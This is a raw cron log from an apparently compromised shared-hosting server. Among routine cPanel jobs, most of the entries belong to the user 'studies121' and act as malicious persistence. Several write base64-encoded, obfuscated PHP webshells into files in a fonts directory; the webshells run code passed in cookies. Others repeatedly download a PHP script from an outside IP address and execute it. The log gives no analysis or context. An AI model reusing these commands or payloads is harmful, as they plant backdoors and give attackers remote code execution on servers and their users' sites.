Sep  9 05:23:01 ip-184-168-122-23 CROND[19435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:23:01 ip-184-168-122-23 CROND[19433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:24:01 ip-184-168-122-23 CROND[19614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:24:01 ip-184-168-122-23 CROND[19617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:24:01 ip-184-168-122-23 CROND[19616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:24:01 ip-184-168-122-23 CROND[19619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:24:01 ip-184-168-122-23 CROND[19618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:25:02 ip-184-168-122-23 CROND[19736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:25:02 ip-184-168-122-23 CROND[19738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:25:02 ip-184-168-122-23 CROND[19739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:25:02 ip-184-168-122-23 CROND[19741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:25:02 ip-184-168-122-23 CROND[19740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:25:02 ip-184-168-122-23 CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:26:01 ip-184-168-122-23 CROND[19870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:26:01 ip-184-168-122-23 CROND[19872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:26:01 ip-184-168-122-23 CROND[19874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:26:01 ip-184-168-122-23 CROND[19875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:26:01 ip-184-168-122-23 CROND[19873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:27:02 ip-184-168-122-23 CROND[19987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:27:02 ip-184-168-122-23 CROND[19989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:27:02 ip-184-168-122-23 CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:27:02 ip-184-168-122-23 CROND[19995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:28:01 ip-184-168-122-23 CROND[20114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:28:01 ip-184-168-122-23 CROND[20116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:28:01 ip-184-168-122-23 CROND[20118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:28:01 ip-184-168-122-23 CROND[20117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:28:01 ip-184-168-122-23 CROND[20119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:29:01 ip-184-168-122-23 CROND[20307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:29:01 ip-184-168-122-23 CROND[20309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:29:01 ip-184-168-122-23 CROND[20311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:29:01 ip-184-168-122-23 CROND[20310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:30:01 ip-184-168-122-23 CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:30:01 ip-184-168-122-23 CROND[20409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:30:01 ip-184-168-122-23 CROND[20414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:30:01 ip-184-168-122-23 CROND[20411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:31:01 ip-184-168-122-23 CROND[20558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:31:01 ip-184-168-122-23 CROND[20560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:31:01 ip-184-168-122-23 CROND[20561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:31:01 ip-184-168-122-23 CROND[20559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:31:01 ip-184-168-122-23 CROND[20562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:32:01 ip-184-168-122-23 CROND[20667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:32:01 ip-184-168-122-23 CROND[20669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:32:01 ip-184-168-122-23 CROND[20668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:32:01 ip-184-168-122-23 CROND[20670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:32:01 ip-184-168-122-23 CROND[20672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:33:01 ip-184-168-122-23 CROND[20788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:33:01 ip-184-168-122-23 CROND[20793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:33:01 ip-184-168-122-23 CROND[20791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:33:01 ip-184-168-122-23 CROND[20792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:34:01 ip-184-168-122-23 CROND[20887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:34:01 ip-184-168-122-23 CROND[20892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:34:01 ip-184-168-122-23 CROND[20890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:34:01 ip-184-168-122-23 CROND[20891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:34:01 ip-184-168-122-23 CROND[20889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:35:02 ip-184-168-122-23 CROND[20998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:35:02 ip-184-168-122-23 CROND[21000]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 05:35:02 ip-184-168-122-23 CROND[21001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:35:02 ip-184-168-122-23 CROND[21008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:35:02 ip-184-168-122-23 CROND[21005]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
